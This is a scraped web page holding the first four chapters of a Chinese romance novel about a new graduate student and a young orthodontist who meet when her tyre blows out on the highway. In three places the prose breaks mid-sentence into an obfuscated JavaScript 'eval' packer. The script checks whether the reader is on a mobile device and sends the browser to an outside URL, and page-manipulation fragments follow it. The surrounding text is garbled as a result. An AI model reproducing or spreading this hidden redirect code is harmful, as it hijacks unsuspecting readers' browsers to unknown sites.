《决定心动》 1. 第 1 章 八月的最后一天,热得人心里发慌。 接近晌午,通往T市的高速路上,车辆稀少。 车内,陈心嚼着西瓜味的口香糖,腾出手拨了一下冷气出风口的叶片,然后往后视镜撇了一眼,她觉得不太对劲。 又往前穿过一个隧道,等视线恢复明亮,陈心再次看向后视镜,心中萌生了一个猜测—— 光天化日,朗朗乾坤,我被跟踪了? 这样的猜测并非空穴来风,侧后方的一辆车一直和她保持固定车距,她开得快,对方就跟上,她慢下来,对方也降了速。 来者不善。 陈心从驾驶座活动了两下,腰杆比刚才挺直了些,一边盯着前方路况,一边分析这是要劫财还是劫色。 劫财,她开的是万把块的小代步车,后面那辆是大块头的牧马人,车身锃亮,看起来保养得当。 劫色,她脑袋上顶着一个松散的丸子头,身上穿的是褪色大体恤衫,毫无穿搭可言。 陈心搞不懂,怎么自己头一回跑高速就遇上这种事? 道路千万条,安全第一条。 她握着方向盘的手又紧了一些。 莫名成为被怀疑对象的梁决倒是一脸从容,只是嘴角频频牵起,像是被什么逗笑的样子。 车内放着一首舒缓的民谣,他单手把着方向盘,另一只手搭在窗框上,手指点着节拍。 目之所及,只有一辆以最低时速行驶的米白色小汽车,挂着S市的车牌,独占中间车道,车屁股上贴着“新手上路,多多指教”。 梁决看了一眼导航,上面显示到T市还有俩小时,他正想着踩一脚油门超过去,谁料米白色小汽车仿佛提前接收到信号,也猛地往前跑快了些。 算了,也不赶时间,看在同是老乡的份上,跟在人家后面跑吧。 驶过一个隧道,梁决伸手从后座放着的行李包侧兜里掏出墨镜,中午的阳光实在刺眼,他考虑路过下一个服务区的时候休息一下。 又过了半个小时,无事发生。 陈心松了半口气,又不放心地往后视镜瞄了几眼,那辆牧马人老老实实地相伴左右,并没有什么异动,她心想是自己神经太紧张了。 突然,车内响起一阵高分贝的微信铃声,陈心被吓了一激灵,差点踩了刹车。 “喂,心心啊,到哪里了?晚上来小姨家吃饭。”电话那头是一道温柔清晰的女声。 “小姨,你这吓我一跳,再有一个半小时吧,到了和你说,挂了挂了。” “哎,你这孩子,开车可别毛毛躁躁的。” “知道了,小姨,晚上见!” 来电话的人是许秋,陈心的小姨,比她大整一旬,独自在T市生活多年,是T大口腔医学院的研究生导师,而陈心此行的目的地也是T大,她从S大保研到了T大的新闻学院,攻读传播学硕士。 说来陈心敢开车去报道,一是驾照在手,她妈许夏拦不住,二是她小姨许秋家有一个闲置车位,正好可以让她暂时用用。 因此,她可不是什么背井离乡的孤苦求学,而是美滋滋地奔向远大前程,投入另一个温柔乡。 这么一想,陈心又松了半口气,一颗忐忑不安的心重回肚子里。 另一边,牧马人车内。 “梁子,到哪了,我这可准备着给你接风呢!” “路上了,给个定位,一会直接去你家?” “那可不,好酒好肉,咱哥俩一醉方休。” “程烨,我提前说好,明天第一天上班,我不喝酒。” “行行行,饶你小子一回。” 来电话的人是程烨,T市土著,脾气随和,爱好美食,厨艺了得。 说来也是缘分,梁决和他做了10年的室友,从T大口腔医学院7年本硕连读到3年博士,眼下毕业了,程烨去了一家民营口腔诊所,梁决入职T大口腔医院。 俩人都是正畸界冉冉升起的新星。 距离T市还有一个小时车程,沥青路面像一块被浇了热油的铁板。 为了给自己提神,陈心放了一首高亢的摇滚乐,车内成了鼓点、萨克斯、电吉他的合奏。 突然,“砰!砰砰!” 伴随着声响,陈心感到一阵猛烈的颠簸,这音乐怎么还带电影院的3D效果? 不对,是车,准确地说是轮胎。 爆胎了?! 陈心两眼一黑,立马决断,她一打方向盘平稳开到应急车道,又打了双闪提醒后方来车避让。 下车后,陈心蹲在地上看着瘪了半截的车胎,悲从中来,决定掏出手机拨打道路救援电话。 “需要帮忙吗?” 陈心感觉一团黑影笼罩过来,手上拨号的动作停滞,闻声抬头,眼前是一个穿着白体恤和浅蓝牛仔裤的冷面帅哥,鼻梁上架着一副黑色墨镜,让人看不透神情。 “我轮胎爆了,你能修?” “有备用轮胎吗?” “有,在后备箱,我取一下。” “算了,我来吧,看你吓得够呛。” “那……谢谢你啊,帅哥。” 陈心站起身来,跟在他身后试图搭把手,视线一瞥注意到应急车道上停了一辆牧马人。 原来是他。 梁决利落地拿来备用车胎,又返回自己车里取来扳手、千斤顶等工具,然后把三角警示牌递给陈心,淡淡问:“把这个支起来,会吗?” “哦哦好,我会的……”陈心逐渐恢复了镇定,心想自己可是科目一满分选手。 她拎着三角警示牌小跑了一段距离,目测有个150米,然后把警示牌一撑,又小跑着回到梁决身边。 “你挡我光了。” “哦哦,不好意思!我还想着太阳晒,给你遮遮。”陈心立马侧身,靠在路边。 “不用。”梁决语气冷淡,脸上有些无奈地笑了。 陈心不敢上前打扰,心想这人真奇怪,明明是助人为乐,还臭着张脸。 既然用不上她,陈心就站在一边安安静静地看他更换车胎,这位帅哥宽肩薄背,手上的动作极其利索,因为发力拧紧螺母,手背上青筋绷起,小臂上显现出一道好看的肌肉轮廓。 天降帅哥,在线修车。 “换好了。”梁决起身,把墨镜一摘,陈心注意到他鬓角上冒出的汗珠和一双好看的眼睛,赶忙表示:“帅哥,谢谢你了!那个……你还往前开吗?” “不然我走?” “哦不是不是!”陈心有点语无伦次,“我看导航上提示前面就是一个服务区了,你还没吃中饭吧,我请客,感谢你出手相救。” “可以吗?”她又十分虔诚地补了一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984592|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “走吧,你先上车。”梁决点头,拾起地上的设备往自己车走。 陈心转身开了车门,系好安全带,刚想要抽张纸巾擦擦汗,就听见后边的牧马人按了一下喇叭,她撇了一下嘴,立马启了车子。 后视镜里,牧马人还是跟着她的车速行驶,竟让人有些安心。 二十分钟后,陈心打转向灯下了高速,在服务区找了两个相邻的空车位停下来,她从车前的储物盒里摸出一支口红,对着车内的后视镜涂了几下。 刚收拾完毕,梁决紧随其后,把车停在了她的旁边。 陈心捋了捋碎头发,又照了下镜子才推门下车,梁决已经倚在车头等她了,黑色墨镜别在耳后,脸上没什么表情,只有淡淡的一句:“走吧。” 两个人一前一后进了服务区的餐厅,过了午饭时间,餐厅里几乎没什么人,甚至有的档口已经在清扫残羹剩饭,陈心提议:“要不我们去吃那家的凉面吧,看着还不错。” “好。”梁决顺着她手指的方向去看,确实那个档口前还站着几个排队取餐的人。 “那你找地方坐,我去点餐。”陈心环顾四周,“就坐那吧,挨着空调,凉快。” “嗯。”既然说了请客,梁决也不跟她客套,径自往她说的方向走。 不一会儿,陈心端着托盘走过来,托盘里放着一大一小两碗凉面,还有两双一次性筷子。 “你啥时候去买的喝的?橙汁吗?”陈心注意到桌上摆着两杯鲜榨果汁,杯底能看出果肉的沉淀。 “补充维C。”梁决说着接过大碗的凉面,说了一句,“谢谢”。 “不用谢,要谢也是我谢你才是。”陈心吸了一口橙汁,眼前的帅哥正用筷子搅拌着凉面,手指修长,骨节分明,她看得出神,竟脱口而出问了一句,“对了,帅哥,你是专业修车的吗?” 梁决拿着筷子的手一顿,抬头看她,回道:“不是,只是喜欢自驾,所以装备齐全,以备不时之需。” “哦这样。”陈心点头,见他好不容易多说了几个字,接着问道,“那你这是要去哪儿,去T市吗?” “对,返程上班。” “我也是,不过我是去上学,T大。” “T大?” “对,怎么了,你没听说过吗?T大很有名的,文史哲和医学是T大的王牌专业,很难考的。”陈心一口气说完,然后低头吃起凉面。 “哦?”梁决看着眼前的丸子头,抿嘴笑了下,“这么说,你学习还不错,没想到车技那么差。” “我这是一回生二回熟,多开几次就好了。”陈心不仅要为自己辩解,还有点好奇,“你是看我车技差,才一直跟在我后面的吗?我一开始还以为碰上了坏人。” “只是不赶时间。” “那你帮我换轮胎,也是因为闲的?” “医者仁心。” “啊?”陈心没懂他这句话是什么意思,放下筷子,拿起果汁,“不管怎么说,还是要谢谢你,咱们碰一个吧!” “……” “你人真好。”陈心忍不住感慨。 “?” “人见人爱,花见花开,车见车爆胎。” *梁决内心os:说得很好,下次别说了。 陈心内心os:希望在T大也能碰见此等帅哥! 2. 第 2 章 下午两点,两个人走出服务区餐厅。 “既然都去T市,帅哥,我们互相陪跑吧。”陈心仰着脸主动问他。 高速陪跑,梁决刚才教给她的新词儿,大意是两辆车相伴行驶,起到提供安全感和缓解疲劳的作用。 “我没意见。”梁决答应了。 “那……走着?”陈心乐颠颠地跑向自己的小车,弯腰坐进驾驶座,精神抖擞地启了车子。 导航显示,距离高速下桥口还需驾驶半个多小时,对她来说,小菜一碟。 牧马人内,梁决重新戴上墨镜,嘴里嚼着陈心分享给她的两粒口香糖,心里想的竟是丸子头的爱牙意识不错,他很欣慰。 两辆车匀速向前,梁决不自觉地回想起刚才餐桌上的问题,他是有些冲动了,竟然贸然停车去帮一个陌生人换轮胎。 “真是服了。”他清了下嗓子,偏头笑自己。 一路上,陈心哼着歌,心情莫名的好,全然没受汽车爆胎的影响,观察后方来车时,视线总会不受控制地去找那辆牧马人。 快到高速下桥口的时候,梁决正想提速和她并行,没想到小汽车忽闪了两下车尾灯,一溜烟跑了。 “?” 倒也没错,打双闪这个告别礼仪还是他教的。 但为什么有种失恋被甩的感觉? 梁决自然没去追,顺势汇入侧方车流,往程烨家的方向驶去。 下午三点半,陈心把车停在T大的停车场。 研究生的正式报到是四天之后,现在校园里还没有什么迎新的氛围,她打算先熟悉一下环境,最好能把行李提前放到宿舍里,顺便打扫一下卫生。 T大作为百年老校,古朴庄重,底蕴深厚,陈心溜达到教学楼前的小花园,驻足瞻仰面前的一座近现代名人雕像,雕像几经岁月洗礼,让她感到与历史人物的弧光在同频共振。 陈心觉得自己是一个幸运的人,即将在这所校园里度过三年的研究生时光。 她已经在设想,自己坐在午后的校园长椅上,阳光打在她从图书馆借来的传播学书籍扉页,关于未来的美好畅想都将通过汲取知识而变为现实。 在这之前,陈心的当务之急是说服宿管阿姨让她提前进宿舍放行李,然后化个妆,换身像样的衣服,再去学校门口的水果店买点水果,人模人样地去小姨家吃晚饭。 7号宿舍楼前,陈心拖着行李箱敲了敲楼栋的玻璃大门,一个看起来四十岁上下的短发女人朝她走来。 陈心立刻提高了嗓音问:“阿姨好,我是新生,就住这栋楼,可以提前进去吗?” “学生卡有吗?”女人拉开了玻璃门让陈心进来,还帮她推了一把行李。 “有,给您。” 女人看了一眼证件,又和眼前的这张脸比对了一番,然后一招手说:“进吧进吧,不过现在还没正式开学,宿舍楼的供电时间还没调整过来,晚上熄灯会早一点。” “哦哦好,谢谢阿姨!”陈心收好自己的学生卡,推着行李快步上了楼梯,她的宿舍楼在三楼东头,303,应该是个朝阳的房间。 推开宿舍门,扑面而来的是一股缺少通风的味道,陈心抬手在空气中扇了两下,把行李推到墙角,去阳台开了窗。 和她想象的差不多,上床下桌的四人间,凑近了看,床栏杆上已经贴好了新生信息,免去了大家选床位的困扰。 在宿舍视察了一圈后,陈心整理好自己的床铺,又把屋里整个拖了一遍,在家十指不沾阳春水的小公主,在外拖扫洗涮不在话下。 “累死我了……”陈心一屁股坐在椅子上,看了一眼手机,“什么?已经快五点了!” 她在心里允许自己再休息十分钟,然后挣扎着起来换上一件牛仔连衣裙,把丸子头重新捯饬了一下,生无可恋地出了宿舍。 “小姨,我出门了,你家在几楼啊?”陈心边走边发语音。 许秋住在T大的教师之家,出了T大西校门一拐就是,在教师之家的对面,隔着一条马路的距离,坐落着T大口腔医院。 想当年,许秋博士毕业,摆在她面前两条就业选择,一是留校当老师,二是当医生,她想都没想就选了前者,理由更是简单粗暴,因为她懒得每天上班还得过马路。 “三楼,门上别了一把艾草的就是。” “ok,这就到。” 门铃刚响了两声,程烨立马从沙发上起身,三步并作两步地去开门。 “真是大少爷啊,可算来了!” “怎么了,车坏半道儿上了,爬着来的啊?” “来就来吧,怎么还空手来呢?” 防盗门外,梁决一手插兜,一手扶着门框,理不直气也壮地开口:“怎么?不让进?” “哪能啊!”程烨侧身让他进屋,嘴上仍是不依不饶,“你这孤家寡人,无依无靠的,除了我,谁还好心收留你?” 梁决没理会他的挖苦,往沙发上一坐,非常顺手地摸起茶几上的橙子,转头问:“洗了没?” “你又不带皮吃……放一百个心,从楼下水果店刚买的。” 程烨关了门走过来,看梁决把好好一个橙子剥得皮开肉绽,好心提醒了句:“那个……茶几下面有剥橙器。” “不早说。” “早说?”程烨在沙发上坐下,二郎腿一翘,“堂堂三甲医院的正畸科医生,这点儿手指灵活度都没有?” 梁决白了他一眼,继续闷头和橙子作斗争。 “哎对了,你那房子怎么样了?”程烨不再跟他插科打诨,换了个正经话题。 “搬得差不多了,许师姐给找的房子,就在她家楼上,挺新的。”梁决扔了一瓣橙子在嘴里,然后把剩下的一大半递给程烨,“你快尝尝,没吃过这么甜的。” “嗬,是吗?”程烨信了他的鬼话,刚嚼了一口,“呸呸呸!这什么玩意儿,明天我就去找他!” “不至于。”梁决计谋得逞,“就当开胃小菜了,晚饭吃什么,程大厨?” “都在厨房里备着呢,满汉全席。” 终于,拭目以待了一个钟头,迎来开餐。 “小姨,这也太丰盛了吧!” 陈心绕着餐桌连连赞叹:“我妈要能有你一半的厨艺,我也不至于这么瘦了!” “别挑唆我和我姐的关系。”许秋才不吃她这一套,解了围裙坐下,“你那是饿瘦的吗?你那是挑食!” “小姨!”陈心拍马屁拍到马蹄子上了。 “来,尝尝这个芥末虾球,我刚学的。”许秋说着也给自己夹了一个,但没着急吃,“今天去学校了,感觉T大怎么样?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984593|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咳咳——”陈心被芥末味呛了鼻子,“特别好!简直是我的梦中情校!” “哈哈,这么好呢?” “对啊!小姨,这么说来,我还和你做校友了呢!” “那就好好学,研究生不够,就读博士,小姨这里永远是你的根据地。” “嘿嘿,谢谢小姨!”陈心嘴上说着谢,但心里并没有想那么长远,“唉……博士岂是我能高攀的?看看新闻里那些延毕的抑郁的,搁我我可受不了。” “那就先过好眼前,吃饭吃饭。” 晚上七点,梁决从程烨家告辞,还顺走了他冰箱里的两袋速冻饺子。 走到小区楼下,才发现路灯坏了两盏,梁决只好用手机打着光才勉强找到来时停车的位置,车子启动后,方向盘一打,丝滑地驶出小区。 夜晚的T市,空气里浮动着燥热因子,一长溜的轿车红尾灯跳跃而晃眼,后面的车急不可耐地按着喇叭。 梁决的牧马人自然也被挤在车道上无法动弹,他无聊地用指腹摩挲着方向盘上的纹路,给自己切了首舒缓的钢琴曲,毕竟急也没用,还能飞过去不成。 终于,信号灯再次转绿,车流前进,梁决长舒一口气,一脚油门驶过了这个路口。 等行驶到宽敞路面,梁决活动了下肩膀,今天大半时间都在开车,现在明显感觉到肩颈的不适。 一想到这,他不由得回想起白天高速上的那段插曲,对,只是个插曲而已。 记得她说自己是T大的新生,也不知道是哪个专业的,说不定还能再碰上…… 又过了二十分钟,车子停在T大教师之家单元楼下,梁决在车里又坐了一会,然后拎着两袋饺子上楼,幸好程烨给他找了个保温袋,不然坚持到现在早都化了。 教师之家有些年头了,表现在楼栋的感应灯不太灵敏,亮得慢,暗得快。 梁决爬到四楼的时候,眼前一片漆黑,他使劲跺了下脚,然后站在家门口从裤口袋里掏钥匙。 突然,楼下传来两声防盗门开合的声音,三楼的感应灯跟着亮起,梁决往楼梯拐弯处走了两步,好奇地探头往下看。 但只留给他一个逐渐模糊的背影和精致的丸子头。 为什么他会第一反应是精致呢? 哦,大概是和白天那个凌乱的丸子头比较而来的。 意识到这一点,梁决无奈地笑了,然后转身开门,把奇奇怪怪的想法抛在门外。 几分钟前,陈心谢绝了小姨让她留宿的好意,还懂事地拎走了垃圾。 临走前,许秋再次叮嘱她关好宿舍门窗,晚上睡觉不要来回滚,陈心满口答应着赶紧带上了门。 楼道里有些昏暗,她一步一步迈得谨慎,然而心情很是雀跃,明天就是新的一月了,研究生陈同学也要加油啊! 走到单元楼下,陈心一手掀开大垃圾桶盖,另一只手火速把拎着的垃圾袋丢了进去,然后两手一拍,准备潇洒转身走人。 等等—— 她的余光里好像混入了一个有些眼熟的东西。 不应该啊? 陈心扭头去找,竟然是一辆似曾相识的牧马人。 *梁决内心os:今天和扎丸子头的女生特别有缘。 陈心内心os:这是最近流行的一款车吗? 3. 第 3 章 四天后,T大研究生开学报到。 一大早,陈心从食堂吃了一个夹辣条的鸡蛋灌饼,又拎了两杯现磨豆浆往宿舍走。 进了宿舍楼,她去敲了敲宿管阿姨的屋门。 “阿姨,今天我们正式报道,您辛苦!给您带了个豆浆。” 这几天,陈心已经和宿管阿姨混熟,进楼打招呼,出楼说再见,有时候还给宿管阿姨的屋里放个水果,借口是买多了,她自己一个人也吃不了。 “谢谢你啊,小姑娘。”宿管阿姨正在整理花名册,笑着问她,“你们宿舍来人了吗?” “还没呢,我这不早回来,在屋里候着。” “好好好,快上去吧!” “走啦,阿姨。” 陈心回到宿舍,相当满意地审视着眼前的景象,地面干净,窗户明亮,空调调至26℃,公用的小桌上还摆了一盘洗好的巨峰葡萄。 除了三张光秃秃的床板看着有点突兀,其他一切都刚刚好。 上午11点,走廊上传来一阵交错的行李滑轮声响,声音愈来愈近,然后在303宿舍门口停住了,陈心扭脸往门外看,正好瞧见挽着手的两个女生也在往宿舍里张望。 “哈喽?你们好,我是303的陈心。” “你好你好,我是乔艺。” “我是林梦。” “请进请进——”陈心站起来迎接她们,“你们认识呀?” “对,我们本科就是T大,然后保研了本专业。” “哇!你们好厉害!”陈心帮她们把行李推到各自的床位,又贴心地递上了两张湿巾,“给,擦擦手。” “谢谢。” “谢谢。” 原本冷清的宿舍,一下子就有了人气。 陈心见她们忙着收拾个人物品,就安静地倚在自己的桌子旁,她左看一眼乔艺,右看一眼林梦,乔艺扎着高马尾,林梦披着头发,两个人穿的都是浅色系的连衣裙,说起话来温声细语的,感觉很好相处的样子。 等她们忙完,陈心主动去加了微信,然后拉着俩人一起吃桌上的葡萄。 “陈心,刚才听你说,你是S市的?去年暑假我还去过S市呢,你看这个——”说着,林梦从背包里掏出一串钥匙,上面挂了一个卡通的小绵羊吊坠,“可爱吧?当时从S市买的,嘿嘿。” “我猜你属羊是吗?真可爱!”陈心凑过去看,还上手摸了两下,毛茸茸的触感。 不仅林梦属羊,陈心和乔艺也属羊,三个人把宿舍群名改成了“三羊开泰”。 时间接近中午,乔艺喊着一起去吃饭,她和林梦作为T大的老生,最懂食堂的哪个窗口好吃实惠。 “咱们就去馨园食堂吧,有家石锅拌饭特别好吃。”林梦第一个提议。 “走着,走着。” 三个人互相挽着胳膊,有说有笑地并排着往食堂走,路上她们还在想最后一位室友啥时候来。 馨园食堂二楼,左起第三个窗口就是韩式石锅拌饭。 “这家招牌就是金枪鱼石锅拌饭,还有嫩牛肉和五花肉的,你想吃哪个?”林梦指着眼前的餐牌向陈心介绍。 “那就金枪鱼的吧,你们呢?” “一样一样!”乔艺附和了一句。 “阿姨,我们要三份招牌石锅拌饭。”林梦拿过两人的饭卡,转身去窗口下单。 等了一会,手上的叫号器震动,她们去窗口取餐。 “看起来还不错!”陈心趁热拿勺子搅拌,香气混着热气直往鼻子里窜。 “是吧!包你吃一次想两次,之前我和乔艺经常来吃。”林梦见自己安利成功,话里透着得意。 饭后,三个人又从一楼进门的窗口买了杯鲜榨西瓜汁,然后慢悠悠地走回宿舍。 “门怎么开着?”刚走到三楼,陈心眼尖发现了不对,“咱们走的时候没锁门吗?” “锁了吧?”林梦没有印象了。 “锁了锁了,我锁的。”乔艺倒是回答得坚定。 三个人快步往303走,挤到门口的时候发现—— 第四位舍友来了。 “嗨,你们好!我叫刘文文。”说话的女生声音爽朗,留着相当利落的短发,站起来的时候要比她们高一个头,“你们刚才去吃饭了是吗,我带了一些干果,可以再吃点。” 三个人进了屋,从刘文文的桌上一人抓了一把干果,有核桃、开心果还有白瓜子。 “文文,你是哪里人啊?”乔艺问了一嘴。 “S市。” “哎?那你和陈心是老乡啊,她也是S市的呢!”乔艺指了一下宿舍门口的床位,“哦对!我们还没自我介绍呢!” 于是,四个人搬了椅子凑在一块,各自进行了简短的自我介绍,不出所料,刘文文也属羊。 陈心把刘文文拉入宿舍群,并正式更名为“可爱羊家族”。 “文文,你之前也是S大的吗?好巧啊!”陈心这才想起来和老乡相认。 “对,不过我是学管理的,跨专业考的研。”刘文文在整理衣橱,里面清一色的短袖短裤。 “哦这样,新传确实是考研的热门,分数线划得老高……”陈心庆幸自己是保研,逃过一场没有硝烟的厮杀。 下午的时候,羊家族集体出动去学校附近的商超采购,除了纸抽、脸盆、洗衣液等生活必需品,她们还买了几张好看的贴画,打算把宿舍稍微布置布置。 至此,报到第一天,一切圆满。 正式开课后,通常是刘文文提早到教室占四个位置,陈心负责带早饭,乔艺和林梦负责踩着铃声进教室。 这节课是网络传播学,讲台上站着一个打扮时髦的年轻老师,她叫包小玲。 “同学们好,新学期伊始,大家看起来一个个都很有活力啊,给大家布置个小作业怎么样?” “不好,我不想听!” “啊?这是闹哪样儿?” “老师,您这!这简直是城市套路深!” 不顾讲台下的一片哀号,包老师自顾自地介绍道:“这学期大家尝试运营一个自媒体账号,可以是个人的名义,也可以几个人合作,总之大家先思考,到这个月底把开号的方向报给我。” 听她介绍完,讲台下的情绪竟渐渐平复,毕竟时间听起来还算宽裕,而且运营自媒体账号总比做什么PPT和写论文好接受多了。 “怎么样?”包老师象征性地征求大家的意见。 “好——” 课间休息的时候,乔艺戳了戳趴着补觉的陈心,问:“心,你有什么想法吗?” 陈心露出半张脸看她,不知道是困的还是真的在犯愁:“没有,请赐我一个题目吧。” “我和林梦刚才商量了下,要不就弄个美妆的账号,分享适合大学生的日常妆容,怎么样?” “挺好的,但……我化妆很菜啊!” “没事没事,你可以提供脸,我俩负责化妆。” “啊?我再想想吧……” 乔艺看陈心对这个选题兴致不高,接着又去戳刘文文:“文文,你有啥想法吗?要不要加入我们?” “别,我不爱化妆。”刘文文回绝得更干脆,并且友情透露,“我初步想的是做个穿搭的账号,tag就是中性风和运动系的穿搭。” “你牛,竟然先都想好标签了!”林梦插了句话,并投以佩服的目光。 几个人又聊了几句,上课铃响了。 陈心从桌子上抬起头来,张大嘴使劲打了个哈欠,闭上时牙齿碰到一起有点难受,等她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984594|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想多体会一下又没感觉了。 上午的课结束后,四个人又去光顾了馨园食堂二楼的石锅拌饭,不过因为饭点人太多,她们打包回了宿舍吃。 “文文,你说,是不是顶好吃!”林梦再次发出安利。 “一般。” “什么?”林梦不可置信地又往自己嘴里送了一口,边嚼边说,“这多好吃啊,一口下去有肉有菜有饭!” “林梦。”刘文文喊了她一声。 “嗯?”林梦突然被叫大名,一时没反应过来。 “有时间咱们宿舍一起去东北玩吧,东北大菜包你一定会喜欢。” “行啊!这有什么不行的。” 吃过午饭,四个人爬到各自的床铺午休,下午有节媒介法律的专业课和一节班会。 专业课好捱,班会才是漫长。 导员姓王,是个有些絮叨的中年男人,他反复强调了一些纪律和安全问题,又通知了班干部竞选的事宜。 “大家相聚在T大是一种缘分,相聚在传播学系是缘上加缘,三年的时间,说长也长,说短也短,希望大家都像亲兄弟姐妹一样相处,度过快乐的研究生时光。” “天,要饿死了……”陈心小声嘀咕。 “等会去吃烧烤怎么样?”刘文文凑近她的耳朵,“就当咱们羊家族的第一次外出聚餐。” “行啊!”陈心眼里有了亮光,“等会问问她俩的意见。” “嗯。” 终于,六点半,班会结束。 四个人意见一致,直奔校门口的王哥烧烤。 “哎?这烧烤店不会是咱导员开的吧?”林梦看着烧烤店的招牌,突发奇想。 “姑奶奶,可否别提他了,一下午还没听够他的唠叨嘛!”乔艺假装踢了她一下,催着赶紧进屋。 烧烤店内,摆着十几张膝盖高的小方桌,每张小方桌边摆了四个马扎,室内没有空调,只有开到强风的大风扇。 “同学,坐下扫码点餐。”服务员声音洪亮,相当热情。 “坐吧,来都来了。”刘文文挑了张桌子坐下,“别讲究了,烧烤就得这么吃。” “坐坐坐!”陈心带头,拉着乔艺和林梦也一起坐下。 四个人扫码看菜单,觉得幸好没有掉头就走,王哥烧烤不仅种类齐全,最重要的是靠近校门口价格公道,一通勾选之后,才两百块钱。 这么一算,等着烧烤上桌的功夫,竟然觉得也没有那么热了。 “来来来,掌中宝,掌中宝!” “牛板筋你这桌的吧?还有这个烤鸡心。” 服务员一趟一趟跑得勤快,四个人一边说着“谢谢谢谢”,一边埋头狂吃。 “啊!”陈心拿着烤鸡爪的手一顿,猛地捂住左脸颊。 “怎么了?怎么了?”三个人同时停下嘴巴,紧张地看着她。 “我……硌牙了?”陈心用舌头试着顶了顶那颗牙,“它好像还松动了?” “不是吧,这鸡骨头比你牙还硬吗?”乔艺拿过她手里的烤鸡爪,仔细瞅了两眼,“感觉也不至于啊……” “要去医院吗?”刘文文问她。 “嗯……不用吧,我再观察观察。” “那你慢点吃。”林梦拍了拍她的背,“算了,你还是别吃了,等会回去去食堂买个粥吧。” “嗯。”陈心乖乖点头,“你们吃啊,别管我。” “真没事?”刘文文还是不放心,毕竟是她提出来要吃烧烤。 “没事没事!要不这样,明天我去T大口腔医院挂个号看看。”陈心就差举着手指头发誓了。 “好,我陪你去。” *梁决内心os:今天没有我的戏份。 陈心内心os:最近诸事不顺? 4. 第 4 章 傍晚时分,T大口腔医院二楼正畸科。 科室里已经走没了人,长条吊灯只保留了梁决工位上方的一盏,他正倚在窗户边发呆。 隔着一条马路,王哥烧烤店生意火爆,梁决甚至觉得自己闻到了香辛料的味道。 入职正畸科四天了,他的门诊少有人问津。 梁决安慰自己,这很正常,医生比的是经验和资历,他初来乍到凭什么得到患者的青睐? 对于年轻的正畸医生来说,他需要不断学习,在实践中积累经验,如果没人挂他的号,他就去主任的独立诊室“偷师学艺”,为的是时刻保持手感和判断力。 他要熬,一直熬到柳暗花明的那天。 桌上的手机震动了下,梁决转身拿起来看,是母亲赵曼的消息。 “儿子,刚上班怎么样?累不累?” “挺好的,不累,妈。” “你爸担心你,怕你没病人,心里面的压力大。” “放心,妈,真干不下去了,我就回去继承家业。” 梁决打完这行字,按下发送后,无奈地笑了。 知子莫若父。 梁决的父亲梁国兴也是个牙医,准确地说是在S市拥有两家矫正门诊的院长,在梁父的眼里,梁决就是个倔驴,非要一个人留在T市进入公立医院打工,不肯回去接手自家生意。 正畸医生的梦想在哪里不能实现?更何况在公立医院有漫长的晋升周期,不仅要在临床治疗病人,还有教学科研的重担压在身上。 别说梁国兴理解不了,如果梁决身边的同事知道了,也会觉得他没苦硬吃。 对此,梁决的回答是,他在T大读了十年书,是T大培养了他,他对T大有很深的感情,留下是自然而然的一件事。 而且T大口腔医院的新人培养体系是全方面的,尽管严苛,但也对他有着巨大的吸引力,他不怕吃苦,怕的是没有拼尽全力。 天色又暗了些,墙上的钟表时针已经指向了8。 梁决收拾了一下桌面,打印了几个经典正畸病例分析,带回去晚上看。 走到单元楼下的时候,正碰到许秋下来倒垃圾。 “师姐。”梁决喊了她一声,在旁边等着没走。 “哎?才下班呀,小梁。”许秋看他有话要说的样子。 “嗯,早回来也没什么事,就在医院多待了会。” “怎么样,刚上班还习惯吧?是不是和实习的时候感受不一样了?” “对,当时跟着方老师忙得团团转,现在闲得发慌。” “哈哈,你这话说的。”许秋和他一块上楼梯,安慰道,“有些道理也不用我说,你现在所经历的这些,都是成长为一个成熟医生的必经之路,慢慢来,一切都会好起来的。” 走到三楼,许秋停下来,一直沉默的梁决开口:“谢谢师姐,听你这么说,我心里就踏实多了。” “别心急,快上去吧,今天先睡个好觉。”许秋拍了拍他的肩膀。 “嗯,你也早休息,师姐。”梁决没再多说什么,转身上楼。 陈心度过了辗转反侧的一夜。 第二天上完第一节课,刘文文陪着陈心去了T大口腔医院,前一晚陈心在医院的小程序上约了牙周科的普通号。 两个人往医院走的路上,刘文文问她:“今天醒了感觉怎么样?牙还疼吗?” “好像不大疼了,但还是使不上劲。” “嗯,等会听医生怎么说。” “不用担心,我小时候吃饭不小心咬到筷子也是这种感觉,没几天就好了。” T大口腔医院三楼,牙周科。 陈心在候诊区坐着,刘文文拿着就诊卡去护士台分诊,诊室里人进人出,捂着腮帮子的,咬着棉球的,每个人看起来都有点面目狰狞。 